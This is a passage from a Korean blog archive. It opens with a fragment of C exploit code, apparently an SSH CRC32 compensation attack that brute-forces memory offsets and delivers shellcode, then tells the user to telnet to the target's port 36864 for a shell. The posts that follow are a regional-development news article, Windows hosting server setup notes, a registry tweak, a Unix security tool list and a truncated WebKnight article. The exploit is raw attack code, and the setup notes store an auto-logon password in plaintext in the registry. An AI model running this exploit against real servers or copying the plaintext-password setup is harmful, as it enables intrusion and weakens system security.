*(ptr++) = packet_length;
*(ptr++) = packet_length-1;

for (i=0; i<packet_length; i+=8) {
*(ptr++) = kernel_offset;
*(ptr++) = 0x7350ffff;
}

ptr = (unsigned long *) buffer;
ptr += 2;

insert_crc32_compensation_attack_pattern(ptr+2, buffer_offset+6, 0x0100ffff);

change_word_order();

ret = send_packet_and_check_result("crc32");

return ret;
}

int find_stack(unsigned long start_offset, unsigned long buffer_offset)
{
unsigned long offset;
long step;
int ret;
int count;

offset = start_offset;

printf("Finding lower kernel area boundaryn");
while (1) {
printf(" Testing h..boundary offset 0x%08x ", offset*2);
fflush(stdout);
ret = send_packet_kernel(offset, buffer_offset);
if (ret == 0) {
printf("FOUND. (CRC32 Attack Detected)n");
break;
}
else {
printf("NOT FOUND. (SEQV)n");
      }
// offset -= 0x800;
offset -=2;
}
return offset+2; // We only need the exact h..kernel distance
}

int buffer_test(unsigned long start_offset, unsigned long packet_length)
{
FILE *f;
int ret, i, j;
unsigned long *ptr;

ptr = (unsigned long *) buffer;
*(ptr++) = packet_length;
*(ptr++) = packet_length-1;

for (i=0, j=0; i<packet_length; i+=16, j+=4) {
*(ptr++) = start_offset+j;
*(ptr++) = 0xffffffff;
*(ptr++) = start_offset+j+1;
*(ptr++) = 0xffffffff;
}

change_word_order();

ret = send_packet_and_check_result("Corrupted");
return ret;
}

unsigned long find_buffer(unsigned long start_offset, unsigned stop_offset)
{
int ret;
unsigned long offset;
long step;

// Find estimate for h..buf distance
printf("Finding estimate for h..buf distancen");
offset = start_offset;
while (1) {
printf(" Testing h..buf offset: 0x%08x B", offset*2); // 2 -> 16-bit offset
fflush(stdout);
ret = buffer_test(offset, packet_length);
if (ret == 0) {
printf(" FOUND (Corrupt bytes)n");
break;
}
else {
printf(" NOT FOUND (SEQV)n");
}

offset += packet_length/2/2;
if (offset > stop_offset) {
printf("Stop offset reached. Exitingn");
return 0;
}
}

// Find exact distance
printf("Finding exact h..buf distancen");

// Calculate the step size
step = 1;
while (1) {
if (step > packet_length/2/2/2)
break;
step = step<<1;
}

offset -= step;
while(step > 3) {
printf(" Testing h..buf offset: 0x%08x B (prev. step=0x%08xh)", offset*2, step*2);
fflush(stdout);
ret = buffer_test(offset, packet_length);
step = step/2;
if (ret==0) {
printf(" FOUND. Decreasing by 0x%08xn", step);
offset -= step;
}
else {
printf(" NOT FOUND. Increasing by 0x%08xn", step);
offset += step;
}
}

printf("Found exact distance: 0x%08xn", offset*2);

return offset;
}

void try_shellcode(unsigned long eip_guess, unsigned long buf_offset, unsigned long kernel_offset)
{
long int higher, lower, p, t; // Offsets to seach, expands from the middle
unsigned long h, eip_MSW_offset, roof_reached = 0;

h = 0xc0000000 - kernel_offset * 2;

// eip_offset must point to the MSW of eip, which resides at higher half of eip. Convert to 16-b offset
eip_MSW_offset = (eip_guess - h + 2) / 2;

higher = 0;
lower = -4;
printf("Trying to run shellcode. If output stalls, telnet to %s:36864n", host);
while(1) {
for(p=0x805 ; p<=0x806 ; p++) {
for(t=p+1 ; t<=0x808 ; t++) {
if (eip_guess+higher < 0xc0000000) {
printf(" Trying shellcode / (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+higher, p, t);
send_packet_shellcode(buf_offset, eip_MSW_offset + higher/2, p, t);
}
else if (!roof_reached && eip_guess+higher >= 0xc0000000) {
printf("Higher search hit kernel bound. Continue with lower search only.n");
roof_reached = 1;
}
printf(" Trying shellcode \ (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+lower, p, t);
send_packet_shellcode(buf_offset, eip_MSW_offset + lower/2, p, t);
}
}

higher += 4;
lower -= 4;
}
}

int main(int argc,char *argv[])
{
unsigned long kernel_offset, buf_offset;

// initialize the buffer
buffer_init();

// find the buf
// 1st arg : start search from this offset
// 2nd arg : stop search to this offset
buf_offset = find_buffer(0x0, 102400/2*10);

// find the stack
// 1st arg : start search from this (16-bit) offset (high limit)
// 2nd arg : found buf offset
kernel_offset = find_stack(0xb7f88500/2, buf_offset);

// try to send and run shellcode
// 1st arg : initial guess where the eip is living (absolute 8-bit address)
// 2nd arg : found buf offset
// 3rd arg : found stack (0xc0000000) offset
try_shellcode(0xc0000000 - 0x2600, buf_offset, kernel_offset);

// destroy the buffer
buffer_destroy();
return 0;
}

No trackbacks, No comments.

<남해안시대>-①`복합규제에 묶인 `블루오션'(펌)

경영 일기/김영삼 | 2009/09/30 19:19

<남해안시대>-①`복합규제에 묶인 `블루오션'

연합뉴스 | 입력 2009.09.14 08:10 | 수정 2009.09.14 08:15

국립공원.수자원보호구역 중첩..천혜의 자연조건 불구 기반 열악
※편집자 주 = 부산과 경남, 전남을 아우르는 '남해안 시대'가 열리고 있다. 경남도가 남해안권 자치단체간 협력을 통한 상생과 국토의 균형발전을 위해 앞장 서 주창한 지 만 5년만이다.

'동ㆍ서ㆍ남해안권발전특별법'으로 법제화된 데 이어 오는 11월이며 남해안발전종합계획안이 확정돼 구체적인 실행을 위한 발판이 마련된다.

대한민국의 미래 성장동력으로 기대되고 있는 `남해안 시대'의 주창 배경과 당위성, 향후 전략을 3편에 걸쳐 소개한다.

(창원=연합뉴스) 정학구 기자 = 김대호 경남지사가 5년 전 처음 주창했을 때만 해도 막연한 구호로만 들렸던 '남해안 시대'가 이제 현실화되고 있다.

절경을 자랑하면서도 중첩된 규제에 꽁꽁 묶여 낙후된 남해안이 이제 새로운 미래를 향해 꿈틀거리고 있는 것이다.

김태호 경남지사가 부산-경남-전남을 잇는 남해안 해양경제축 개발을 공식제안한 것은 2004년 11월.

전남과 부산 정치권 등의 전폭적인 지지를 받아 '남해안발전특별법'이 발의됐고 우여곡절 끝에 '동ㆍ서ㆍ남해안권발전특별법'이란 확대된 법안의 제정으로 결실을 봤다.

남해안권 발전종합 계획안이 오는 11월께 확정되면 내년부터 개발계획과 실시설계 수립 등을 거쳐 사업이 본격화돼 2020년까지 약 26조4천억원 가량이 투입된다.

◇왜 남해안시대인가 = 김태호 지사는 대한민국의 미래 성장동력이자 새로운 시대를 여는 '블루오션'으로 남해안을 꼽았다.

남해안의 아름다운 바다와 섬을 종합적으로 개발해 해양레포츠와 크루즈, 관광, 휴양을 아우르는 '제2의 지중해'로 건설하고 연안지역을 복합경제 중심지로 키우자는 것이다.

여기엔 모든 것이 집중된 수도권에 대응하는 '제2의 성장 축'으로 남해안을 발전시켜야 장기적으로 남해안과 수도권이 지속가능한 성장을 할 수 있다는 판단도 작용했다.

프랑스가 파리에서 900㎞나 떨어진 지중해 남부 연안에 리조트와 첨단 산업단지, 임해 산업단지 등을 조성해 국가균형발전과 수도권 집중완화란 두 마리 토끼를 잡는데 성공한 것은 우리에게 시사하는 바가 크다는 것이 김 지사의 말이다.

현재 수도권은 남해안 1만2천519㎢보다 좁은 1만1천776㎢에 남해안(872만8천명)의 2.7배나 되는 2천371만1천명이 몰려 살고 있다.

경제활동 인구 역시 수도권에 49.9%가 집중돼 있는 반면 남해안에는 17.0%가 거주하고 있다.

수도권의 지역내 총생산(GRDP)도 5천373억 달러로 남해안 1천926억 달러의 2.8배나 된다.

수도권이나 국가의 미래를 위해서도 남해안을 새로운 성장 축으로 만드는 것은 불가피하다는 것이다.

◇ 남해안, 어떤 곳인가 = 남해안에는 2천460개의 크고 작은 섬들이 있고 청정해역 곳곳에 양식장이 들어서 있다.

부산에서 목포까지 직선거리는 약 250㎞에 불과하지만 꼬불꼬불한 리아스식 해안선의 총 길이는 약 1만㎞나 된다.

일조량도 가장 많아 연간 총 2천157시간이나 되며 개펄 면적은 2천550㎢로 전국 개펄의 17.3%를 차지한다.

남해안권에는 86개 산업단지가 있고 4천700여개 기업이 입주해 있으나 전체적인 산업별 비중을 보면 여전히 1차 산업이 높다.

특허출원 건수와 등록건수를 보면 남해안은 전국의 4.7%와 3.6%로 수도권의 52.6%와 55.4%에 비교도 되지 않는다.

중국의 동북 3성을 비롯해 일본 긴키, 한국 수도권 등을 포함한 동북아 10대 경제권 속에서 남해안은 인구나 GRDP 측면에서 최하위권을 맴돈다.

다행스러운 것은 신재생 에너지인 태양광과 수력발전량은 33.5%와 83.5%로 경쟁력을 보유하고 있는 등 녹색성장에 적합한 여건을 갖추고 있다는 점이다.

잠재적인 관광자원이 엄청난데 비해 기반시설은 열악하기 짝이 없다.
총 2만5천475㎞에 이르는 도로의 포장률은 전국 평균 78.3%에도 못미치고 전남과 경남은 70%를 밑돈다.

남해안 고속도로는 십수년간 상습체증에 시달리고 있고 확장공사가 이제야 진행 중이다.
고성과 통영 등 서부와 중ㆍ동부 경남을 잇는 국도들은 주말과 휴일에 차량행렬로 몸살을 앓고 있다.

철도 역시 일제시대 이후 거의 손을 대지 않아 단선(單線)으로 운행돼오다 최근 복선(復線) 전철화 공사가 진행되고 있지만 진척도는 더디다.

◇ 남해안과 복합 규제 = 남해안 자치단체들이 아름다운 풍광을 자산으로 관광개발에 나서려고 해도 해상국립공원과 수산자원보호구역, 문화재보호구역 등 중복 규제에 묶여 사실상 손을 놓고 있었다.

경남 통영ㆍ거제ㆍ사천ㆍ남해ㆍ하동 등은 한려해상국립공원(면적 546㎢)으로, 전남 여수ㆍ고흥ㆍ거문도 등은 다도해국립공원(2천321㎢)으로 각각 묶여 있다.

이 해상국립공원이 남해안에만 존재하는데다 수산자원보호구역도 10곳 가운데 9곳(6천521㎢)이 남해안에 집중돼 있다.

이 때문에 도와 각 시ㆍ군이 추진하려던 각종 개발계획은 번번이 제동이 걸렸다.
남해안이 최적의 장소인 요트산업 클러스터를 통영시 일원에 설치하려고 했지만 수산자원보호구역에 묶여 어려움을 겪었다.

거제 해금강 집단시설지구와 마산 구산해양관광단지, 사천 비토관광지 개발, 하동 선블루리조트, 통영 해전사박물관, 통영 해상케이블카 설치사업 등이 줄줄이 같은 운명을 겪었다.

No trackbacks, No comments.

윈도우 호스팅 서버 셋팅 주요 사항

프로그래밍/윈도우 & MS-SQL | 2009/09/02 19:11

-서버 설정:
Windows 서버 세팅

[1] 파티션

시스템파티션(NTFS, 4~5G정도 하드크기에 따라 책정) + DATA파티션(NTFS) + 페이징파일파티션(FAT32, ram파일크기의 2~3배정도) 페이징 파일을 옮겨 줘야 한다구 하네요…

라이센스 서버단위, 동시연결개수 <- 기본값

사용자단위

네트워크 환경 등록정보, 네트워크용 파일 및 프린터 공유 등록정보에서 네트워크 응용 프로그램을 위해 데이트 처리량 최대화 체크(웹서버+db서버사용시…)

페이징 파일 수정/삭제/추가 방법

내컴퓨터 등록정보 – 고급 – 성능옵션 – 가상메모리 – 변경 버튼 클릭후 설정

*참고

내컴퓨터 등록정보 – 고급 – 시작및복구에서,

디버깅 정보 쓰기를 없음으로 해주면,

보안과 성능에 향상을 줄수 있음.

**참고

초기 설치후 WORKGROUP으로 되어 있는 작업그룹을 독립적인 그룹으로 만들어준다.

- 도메인을 이용해서 설정해주면 편리할 듯.

[2] 서비스팩 & 핫픽스

SP2, SRP1, Q314147(snmp), Q313829(windows shell), Q319733(IIS누적형패치),

Sql SP2, Sql sp2이후 보안 release패치(버전 800_608)

Internet Explorer의 windows update를 이용해서 패치적용

[3] .Net사용시(한글버전)

닷넷 설치, SP1, Q322301(asp.net 버퍼오버플로우)

[4] 필요한 서비스만 구동(일반적으로 서버 세팅후 적용된 서비스에서)

다음의 서비스 필요없을경우 사용안함으로 설정(SP2설치후 적용할 것)

Alerter, Computer Browser, DHCP Client & Server, Distributed File System, Distributesd Link Tracking Client & Server, DNS Client & Server, Intersite Messaging, Print Spooler, Remote Registry Service, RunAs Service, TCP/IP NetBIOS Helper Service, Telnet, Windows Media Service 4가지 등~

[5] 다음의 서비스를 특정계정으로(시스템계정이 아닌) 시작하도록 할 것.

MSSQLSERVER, SQLSERVERAGENT : 예를들어 sql_starter와 같이 계정(admin그룹에 포함시킴)을 하나 만들어서 이 계정으로 시작하도록 설정을 한다.

- 차후 패스워드나 계정 변경이 있을시 반드시 서비스에서 재설정 해줄 것

[6] 보안관련 몇가지 처리

* NetBIOS 서비스 제거 : Network등록정보중 Wins에서 설정

* 서버 목적에 따른 서버 최적화 : 일반적인 웹서버의 경우 Network 등록정보에서 à Microsoft 네트워크용 파일 및 프린터 à 네트워크 응용프로그램을 위해 데이터 처리량 최대화로 설정

* 성능옵션 및 가상메모리 설정 – 다른 물리적인 디스크나 시스템 파티션에서 분리시킨다. à 시스템 파티션에서 페이지파일 제거시 차후 메모리덤프 파일 생성이 안됨. 따라서, 시스템 등록정보의 고급텝에서 디버깅 정보 쓰기를 없음으로 할 것.

* $공유 즉, hidden 공유 제거

à 레지스트리 수정하면 됨

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
Find the value named AutoShareServer and change the DWORD value to 0 (zero)

[7] Component관련

à 업로드 컴포넌트로 Sitegalexy upload component(1.2버전-win2k에서 잘 호환)사용.

Pds폴더를 www안에 초기세팅시 생성 : 이폴더에만 IUSR_Computename 계정에 쓰기권한을 적용해서 보안고려.

[8] MS-SQL 사용시 Server와 Client간의 버전은 같아야 하는가?

sql7.0 클라이언트 프로그램 사용 고객은 sql2000을 사용하는 서버에 접속시 정상접속이 안될수 있슴. (참고로 반대는 가능)

[9]자동로그온

regedit를 실행,

HK_L_M – Software – Microsoft – Windows NT – Current Version – Winlogon에서,

편집-문자열값을 클릭,

DefaultPassword REG_SZ 패스워드입력

AutoAdminLogon REG_SZ 1

Windows 2000 Server 웹 호스팅 서비스

< INSTALL >

1]windows 2000 server INSTALL

2]service pack 4 INSTALL

3]MS-SQL 2000 Standard INSTALL

4]sql service pack 3 INSTALL

5]security 관련 HotFix INSTALL

6]mail 관련 – freeware 또는 linux로 mail server만 따로 구축 고려

< 기타설정 >

1]quota 설정 체크 – check à home dir + sql data dir(사용시 추가) 로 설정…

à 가설 : 파티션이 홈페이지와 DB가 분리되어 있어서 따로 파티션당 설정해야할것같음.

à 가설적용 그러나, 아직 미흡한점이 많음.

à DB는 따로 용량이 설정되므로 홈페이지가 있는 파티션에만 quota적용.

2]mount 기능 가능 – directory만든후 mount

3]ftp사이트의 계정으로의 접속 – 포트를 다르게 설정(50000번대 이상으로)

4]IIS Unicode Bug점검 – UBAT 1.7이용 à 이상무

5]전자결재시스템 – 초기 한번만 설치후(Dacom의 경우) 차후 등록만 해주면 됨.

6]NetBIOS 서비스 제거 à Network등록정보중 Wins에서 설정

7]Network등록정보에서 à Microsoft네트워크용파일및프린터 에서 à 적절한 서버최적화 선택 à 네트워크 응용프로그램을 위해 데이터처리량 최대화로 설정

8]성능옵션 및 가상메모리 설정 – 다른 물리적인 디스크로 할당.

   à 시스템 파티션에서 페이지파일 제거시 차후 메모리덤프 파일 생성이 안됨.

9]Media Service설정 à Unicast

RealServer Service ? à realserver8.0 설치가능(sp1에서 test-install만) à linux(bbs)서버에 세팅되어 있음.

10]사용자 인증 페이지 설정 à Windows 디렉토리 권한과 사용자계정의 권한을 적절히 매치시킨다.

11]db에대한 고객의 권한 – 모든권한 그러나, 백업권한은 없슴…고객이 백업시 DTS이용.

12]ODBC – SQL 서버인증선택 및 MDB파일을 MS-SQL데이터로 변환시

http://tt.co.kr/help/faq/ttboard.cgi?act=view&code=20&bname=NTHOSTFAQ&page=1&search_method=by_content&search_word=MDB

   à OLEDB로 유도

13]스토어드프로시저 및 JSP 지원여부

   à 스토어드 프로시저는 현재 지원

14]모든 백업은 1일 Full백업 – 로그파일 백업은 지원 안함.

à 보관 기간 3일

15]Component관련

à 업로드 컴포넌트로 Sitegalexy upload component(1.2버전-win2k에서 잘 호환)사용.

à Pds폴더를 www안에 초기세팅시 생성 : 쓰기권한을 이폴더에만 적용해서 보안고려.

16]IIS에서 기본문서 사용순서 : index.asp – index.html – index.htm – default.asp – default.html – default.htm – main.asp – main.html – main.htm

17]mdb파일 사용 금지 à 호스팅 서버에서 동작 시 치명적인 에러를 내는 경우가 많이 있습니다. 따라서 일부 호스팅 업체에서는 MDB 파일의 사용을 금하고 있습니다. 즉 MDB 파일을 사용하신다면 자주 다운되기도 하고 속도도 느리며, 보안상 좋지 않으므로, 보다 안정적이고 속도도 빠른 MS SQL 서버를 사용하기를 권장

à mdb파일의 sql변환

http://tt.co.kr/help/faq/ttboard.cgi?act=view&code=21&bname=NTHOSTFAQ&page=1&search_method=by_content&search_word=MDB

18]server와 client간의 sql버전은 같아야 하는가?

à 클라이언트 프로그램으로 서버에 접속시 서버가 sql2000이므로 sql2000클라이언트 프로그램을 설치해서 사용. Sql70클라이언트 프로그램으로 정상적으로 접속이 이루어지는지는 테스트해보아야 함.--- check

19]사용자계정의 디렉토리에 홈페이지, 로그등을 따로 설정 고려…

   à logs라는 디렉토리를 만들어 현재 따로 저장(웹, FTP, ODBC로그).

20]성능 로그 및 경고에서 새로운 로그및경고 생성 고려(서버부하고려)…check

21]web및 ftp로그 설정시 최소로 필요한 것만 선택 à 로그경로는 각자 계정으로 설정…

22]$공유 즉, hidden 공유 제거 à 제거시 질문 : 서버리부팅후나 서버서비스 재시작하면 다시 공유활성화됨.

à Server 서비스를 정지하면 그런 문제는 없어짐. 그러나, 다른 문제가 있는지 테스트중

--- 레지스트리 수정으로 이문제 해결했음.

23]ftp, web의 등록정보에서 디렉토리보안을 적절히 이용…

24]요금연체시 퍼미션은 어떻게 막을 것이가?

à 사용자 계정을 사용안함 체크를 하면 ftp등의 접속거부.

à 웹서비스는 중단으로 설정.

25]사용자계정 과 패스워드 백업은?

--- check

< 웹상에서 계정으로 홈페이지 확인 – IP로만 확인가능시 >

1]웹사이트를 만든다.

2]가상디렉토리를 만든다.

à 여기서 기본 웹사이트(wns.kobis.net)에서 가상디렉토리를 모두 생성한다.

3]그 가상디렉토리에 홈페이지의 경로를 준다.

4]웹상에서 확인.

à http://IPAddress/계정

< 보안관련 >

1]초기 administrator의 이름을 바꾼다.

2]HotFix설치 (이부분은 sp4 설치후 window update사용하면 해결될듯 합니다.)

Win2k

285156 : 윈도즈 2000 이벤트뷰어에서 체크안된 버퍼

291845 : IIS 서버에서 서비스를 거부 - 버그는 WebDAV의 결함을 이용한 것

293826 : IIS 4.0/5.0 버그 패치

295534 :

296576 : msw3prt.dll 파일에서 버퍼 오버플로우가 발견 à IIS에서 msw3prt.dll 부분을 삭제300972(2001/06/12) : IIS 웹 서버의 인덱싱 서비스(Indexing Service) 기능과 연결되는 코드에서 발견 à IIS에서 .idq와 .ida 확장자의 스크립트 매핑 제거

SQL : 80233i_kor 80296i à 2001-05-22

3]IIS에서 보안설정 : .printer삭제 – msw3prt.dll부분

< MS-SQL 2000 서비스 관련 >

1]admin계정인지 sql의 sa계정인지 확인

--> 패스워드 변경시 서비스에서 sql에대한 계정의 패스워드도 함께 바꾸어 주어야 함.

è 아니면 서비스가 제대로 시작되지 않는다.

   à 해결법 : 계정을 추가(sql_starter) – adminstrators그룹에 추가 – 그외그룹은 삭제

서비스에서 sql로그온에서 계정지정부분에 새계정(sql_starter)을 추가

서비스 재시작…

* 기타 서비스(Media service, …)등도 위와같이 바꿀수 있다… - 이로인한 문제점은 아직 검토중

2]사용자 계정 및 DB 추가 관련

-계정 기본설정:
[1] 계정추가 – 그룹설정(nthosting1:100M, nthosting2:300M, nthosting3:1G)

[2] 디렉토리 생성 (계정명과 동일하게 설정) - kobis계정 참고

à logs, www 생성(이때, kobis폴더안의 세팅완료내역에 관련된 파일 복사)

à pds(fileUpload폴더)생성- 등록정보의 보안탭에서 적절한 계정부여 및 권한설정

IUSR_machinename(읽기,쓰기 권한만), 신청한 계정(읽기, 쓰기 권한까지)@백업삭제?

- 고급 사용권한 메뉴에서 삭제권한도 부여

administrators추가(모든권한)

[3] 생성한 디렉토리의 등록정보의 보안탭에서 적절한 계정부여 및 권한설정

à everyone계정삭제 : ‘부모로부터 상속 가능한 사용권한을 이 개체로 전파할 수 있음’ 체크를 없앤다.

à IUSR_machinename(읽기권한만) , 계정(읽기, 쓰기권한-고급 사용권한 메뉴에서 삭제권한 부여) , administrators추가(모든권한)

[4] ftp 사이트, web 사이트 설정

à ftp : 로그경로설정(각계정의 logs폴더) , 운영자에 각계정 추가(55xxx~5xxxx번대로 끝자리 1 또는 6 – http://kobis.net참고해서 순서대로 부여)@웹데몬이 실행않됨 “네트워크에 중복된 이름이 있습니다.”

à web : 로그경로설정(각계정의 logs폴더) , 등록정보 – 웹사이트 – 고급에서 도메인 추가, wns.kobis.net 사이트의 가상디렉토리 설정(설정시 계정명과 동일하게 설정하되 설정값은 디폴트 값으로 부여) @log파일이 인터넷 등록정보에 있는곳이 아닌 다른곳에….

[5] DNS설정(정방향 조회영역만 설정, 메일 레코드 MX값은 mail 레코드값을 211.47.67.70 부여해서 mail.도메인명. 으로 설정)

[6] 백업설정

à 최종 : 3일간 자동으로 /home 디렉토리 풀백업이 이루어짐.

à db는 데이터베이스 유지관리 설정(제목의 숫자를 참고로 설정하면됨.)

à 일일 확인(F:\Bk_part\bk_home , F:\Bk_part\bk_db_user\각해당폴더)

l 백업을 복원에 사용할 일이 생기면…

à 먼저 백업받은 파일을 더블클릭하면 창이 뜨고 여기서 복원마법사를 이용한다.

à 원하는 디렉토리만 선택후 복원을 하는데, 이때 원한다면 경로를 임의의 경로에다 복원할수 있다. 그리고, 복원시 권한등의 설정을 그대로 가져올수 있도록…

à 참고로 F:\Bk_part\bk_home\Extract를 만들어 두었음.

=================

data\안에 *.mdf와 *.ldf파일 즉, 데이터와 로그파일만이 남아 있을경우 다음과 같이 복원하면 된다.
QA에서,
sp_attach_db '복원할데이터베이스명', 'c:\data\데이터.mdf', 'c:\data\로그.ldf'
하시면 됩니다.
(EX) sql2000에서,
복원할데이터베이스명 : macs
경로 : c:\program files\microsoft sql server\mssql\data\macs_data.mdf
c:\program files\microsoft sql server\mssql\data\macs_log.ldf
sp_attach_db 'macs', 'c:\program files\microsoft sql server\mssql\data\macs_data.mdf ', 'c:\program files\microsoft sql server\mssql\data\macs_log.ldf'

==================

[데이콤전자결재]@

1. 먼저 적당한 위치에 설치를 한다.

2. TSETUP.zip만 세팅하면 된다.(Dpsvcdll.zip은 컴파일과정 필요)

3. 세팅은 한번만 하면 된다.

4. 서비스를 자동시작 시켜준다.

5. 이제 SetupShop을 실행시켜 서비스 받으려는 고객마다 각각의 상점ID와 상점이름을 등록해주면 된다. (정상적인 메시지인지 확인)

6. 프로그램 삭제시 registry 등록된 것도 지워준다.

- (설치경로의 \bin\DpSvr –remove)

7. 재설치시엔 데이콤에 연락을 취해 초기화를 받는다.

[기타…]

1. 디스크쿼타 확인법

- D:\드라이브의 등록정보에서 할당량을 선택 – 할당량항목 – Refresh해주면 된다. 기본은 100M기준이니 그 이상 서비스는 수작업으로 ‘할당량 항목’에서 해당 계정을 더블클릭해서 설정하면 됨.

2. 이벤트 뷰어를 통해서 모니터링

- 응용 프로그램, 보안, 시스템 로그를 한번씩 살펴본다.

- 로그가 꽉 찼다고 나오면 해당 로그에서 오른쪽 버튼을 클릭해서 모든 이벤트를 지우기를 한다. 이때, 필요시엔 저장(F:\EtcBackup\EventLog)하고 지운다.

3. 작업관리자도 한번씩 보며 모니터링한다.

- 지속적으로 CPU나 RAM을 소비하는 프로세스는 없는지…

- 보통 sqlservr.exe 와 dllhost.exe 프로세스 하나가 CPU 와 RAM사용하는 것이 대부분…(이와 관련한 서비스를 재시작함으로서 램사용율을 다시 초기화할 수 있다.)

4. DB가 원격에서 잘 연결되지 않을 때(EM:엔터프라이즈관리자 또는 QA:쿼리에널라이져로 연결시도시) ,

- 클라이언트측에서 프로토콜은 TCP/IP로 되어있는지? (클라이언트 네트워크 유틸리티에서 확인 및 변경 가능)

- 서버는 IP 또는 지정한 도메인(sql.kobis.net)으로 되어있는지? (연결시)

- 엔터프라이즈 매니져(EM)에서 도구-옵션-고급의 로그인제한시간을 20초 정도로 늘여보라고한다.(일반적으로 연결제한 시간초과와 같은 에러메세지가 나왔을경우)

No trackbacks, 1 Comment

ie8 에서 구글 검색 한글로 수정하기

자료실/정보자료 | 2009/08/27 17:17

ie8 에서 검색 공급자 구글을 추가하니 영어 구글로 검색이 된다

레지스터 수정을 하면 간단하게 해결 할 수 있다.

Register 를 찾는다.
시작 - 실행 - regedit 후 경로 이동을 한다
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes
하위 디렉토리 에서 구글 검색을 찾는다.
URL 을 수정한다
http://www.google.co.kr/search?hl=en&btnG=Google+Search&q={searchTerms} 을
http://www.google.co.kr/search?hl=ko&btnG=Google+Search&q={searchTerms}

No trackbacks, No comments.

보안(원문) - SECURING YOUR UNIX SYSTEMS

해킹&보안/보안관련 | 2009/08/27 11:31

SECURING YOUR UNIX SYSTEMS

White Papers
- X Window Security
- UNIX Configuration Guidelines - from http://www.cert.org
Tools
- John the Ripper
  John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.
- L0phtCrack
  Password Auditing and Recovery Application
- exec.c
  exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta
- Virtual FTPD
  Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.
- Snoopy
  Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.
- FPF
  FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.
- Imsafe
  Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.
- IPtrap
  IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.
- LOMAC
  LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.
- Maxty
  Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
Links
- http://sunsite.uniandes.edu.co/sunworldonline/common - SunWorld

No trackbacks, No comments.

웹나이트 설치 후, 반드시 해야 할 일 두 가지

해킹&보안/보안관련 | 2009/08/27 11:09

중국발 Mass SQL 인젝션 공격이 다시 한 번 주춤하고 있습니다. 실제로 최근 들어 공격 횟수가 급격히 줄어 들고 있네요. 아마 인터넷 상에 퍼져있는 다양한 정보들의 도움으로 웹 서버와 웹 소스의 보안이 강화되었고, 이로 인해 쿠키 변조를 통한 Mass SQL 인젝션 공격도 약발이 다 되었나 봅니다.

음… 하지만 공격 횟수가 단순히 줄어 들었을 뿐이지 일련의 사태들이 완벽하게 종식된 것은 아니기 때문에 서버 관리자 분들의 꾸준한 관심과 관리에는 변함이 없어야 할 것입니다.

최근 '웹나이트'를 비롯한 웹 방화벽에 대한 관심도가 크게 향상되었음은 물론이며 윈도우즈 웹 서버에 기본적으로 웹나이트를 비롯한 웹 방화벽이 설치될 정도로 보안 의식이 강화되었다고 합니다.

사실 웹나이트 외에도 하드웨어 웹 방화벽 장비나 기타 웹 방화벽 상품들이 시중에 많이 나와 있습니다만(따지고 보면 그렇게 많은 것도 아닙니다만…) 아무래도 비용적인 부담 때문에 많은 분들이 웹나이트를 선택해서 사용하고 계신 것으로 알고 있습니다.

서론이 길었네요. 예전 글에서도 누누히 말씀 드렸지만 웹나이트는 설치보다 관리가 몇 배는 더 중요합니다. 본 글에서는 웹나이트 설치 후, 반드시 해야 할 일 중 딱 두 가지만 다시 한 번 보기 좋게 정리해 보았습니다. 도움이 되셨으면 좋겠네요~

* 본 글은 '웹나이트 2.1 버전'과 '윈도우즈 2003 스탠다드 SP2 + IIS 6' 를 기반으로 작성되었습니다.

1. 웹나이트 로그를 반드시 정기적으로 확인하세요.

서버 관리자의 주된 업무 중 하나인 로그 확인 및 분석! 웹나이트 역시 정기적인 또는 주기적인 로그 확인이 무엇보다 중요합니다. 웹나이트 2.X 버전부터는 별도의 로그 애널라이저(analysis.exe)가 동봉 되어 있기 때문에 단순히 텍스트 파일을 열어 확인하는 것보다는 한결 수월해졌습니다.

로그 확인의 기본은 해당 로그의 형식 파악입니다. 그럼, 웹나이트에서 남기는 로그의 형식을 알아야 겠죠? 웹나이트의 로그 형식은 다음과 같습니다.

시간 ; 웹사이트 식별자 ; 이벤트 ; 클라이언트 IP주소 ; 사용자 명 ; 이벤트와 관련된 자세한 사항

이해를 돕기 위해 실제 웹나이트 로그를 통해 구분을 나눠보겠습니다.

